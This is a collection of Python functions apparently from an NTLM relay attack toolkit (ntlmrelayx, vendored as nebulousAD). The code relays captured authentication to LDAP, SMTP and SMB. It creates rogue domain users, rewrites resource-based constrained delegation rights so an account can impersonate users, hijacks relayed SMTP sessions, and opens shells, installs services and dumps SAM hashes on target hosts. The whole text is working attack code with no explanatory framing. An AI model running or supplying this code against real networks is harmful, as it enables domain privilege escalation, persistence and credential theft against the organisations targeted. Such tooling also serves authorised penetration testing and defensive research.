def addUser(self, parent, domainDumper): """ Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyEscalated if alreadyEscalated: LOG.error('New user already added. Refusing to add another') return # Random password newPassword = ''.join( random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Random username newUser = ''.join( random.choice(string.ascii_letters) for _ in range(10)) newUserDn = 'CN=%s,%s' % (newUser, parent) ucd = { 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 'distinguishedName': newUserDn, 'cn': newUser, 'sn': newUser, 'givenName': newUser, 'displayName': newUser, 'name': newUser, 'userAccountControl': 512, 'accountExpires': '0', 'sAMAccountName': newUser, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.info('Attempting to create user in: %s', parent) res = self.client.add( newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) if not res: # Adding users requires LDAPS if self.client.result[ 'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error( 'Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.' ) else: LOG.error('Failed to add a new user: %s' % str(self.client.result)) return False else: LOG.info( 'Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) # Return the DN return newUserDn
def skipAuthentication(self): self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready' + EOL) # Next should be the client sending the EHLO command cmd, params = self.recvPacketClient().split(' ', 1) if cmd.upper() == 'EHLO': clientcapabilities = self.getServerEhlo().split('\n') # Don't offer these AUTH options so the client won't use them # also don't offer STARTTLS since that will break things blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM'] for cap in blacklist: if cap in clientcapabilities: clientcapabilities.remove(cap) # Offer PLAIN auth for specifying the username if 'AUTH PLAIN' not in clientcapabilities: clientcapabilities.append('AUTH PLAIN') # Offer LOGIN for specifying the username if 'AUTH LOGIN' not in clientcapabilities: clientcapabilities.append('AUTH LOGIN') LOG.debug('SMTP: Sending mirrored capabilities from server: %s' % ', '.join(clientcapabilities)) # Prepare capabilities delim = EOL + '250-' caps = delim.join(clientcapabilities[:-1] ) + EOL + '250 ' + clientcapabilities[-1] + EOL self.socksSocket.send('250-%s' % caps) else: LOG.error( 'SMTP: Socks plugin expected EHLO command, but got: %s %s' % (cmd, params)) return False # next cmd, params = self.recvPacketClient().split(' ', 1) args = params.split(' ') if cmd.upper() == 'AUTH' and args[0] == 'LOGIN': # OK, ask for their username self.socksSocket.send('334 VXNlcm5hbWU6' + EOL) # Client will now send their AUTH data = self.socksSocket.recv(self.packetSize) # This contains base64(username), decode creds = base64.b64decode(data.strip()) self.username = creds.upper() # Client will now send the password, we don't care for it but receive it anyway self.socksSocket.send('334 UGFzc3dvcmQ6' + EOL) data = self.socksSocket.recv(self.packetSize) elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN': # Simple login # This contains base64(\x00username\x00password), decode and split creds = base64.b64decode(args[1].strip()) self.username = creds.split('\x00')[1].upper() else: LOG.error( 'SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s' % (cmd, params)) return False # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error( 'SMTP: Connection for %s@%s(%s) is being used at the moment!' % (self.username, self.targetHost, self.targetPort)) return False else: LOG.info('SMTP: Proxying client session for %s@%s(%s)' % (self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[ self.username]['protocolClient'].session else: LOG.error('SMTP: No session for %s@%s(%s) available' % (self.username, self.targetHost, self.targetPort)) return False # We arrived here, that means all is OK self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL) self.relaySocket = self.session.sock self.relaySocketFile = self.session.file return True
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info( 'Delegate attack already performed for this computer, skipping' ) return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=[ 'SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity' ]) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR( data=targetuser['raw_attributes'] ['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify( targetuser['dn'], { 'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]] }) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error( 'Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error( 'Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info( 'Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from nebulousAD.modimpacket.examples.secretsdump import RemoteOperations, SAMHashes from nebulousAD.modimpacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer( ).get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags( flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: if "rpc_s_access_denied" in str( e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info( u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do..." .format( self.__SMBConnection.getRemoteHost().encode( self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins( ) LOG.info( u"Host {} has the following local admins (hint: try relaying one of them here...)" .format(self.__SMBConnection.getRemoteHost(). encode(self.config.encoding))) for name in localAdminNames: LOG.info( u"Host {} local admin member: {} ".format( self.__SMBConnection.getRemoteHost(). encode(self.config.encoding), name)) except DCERPCException, e: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return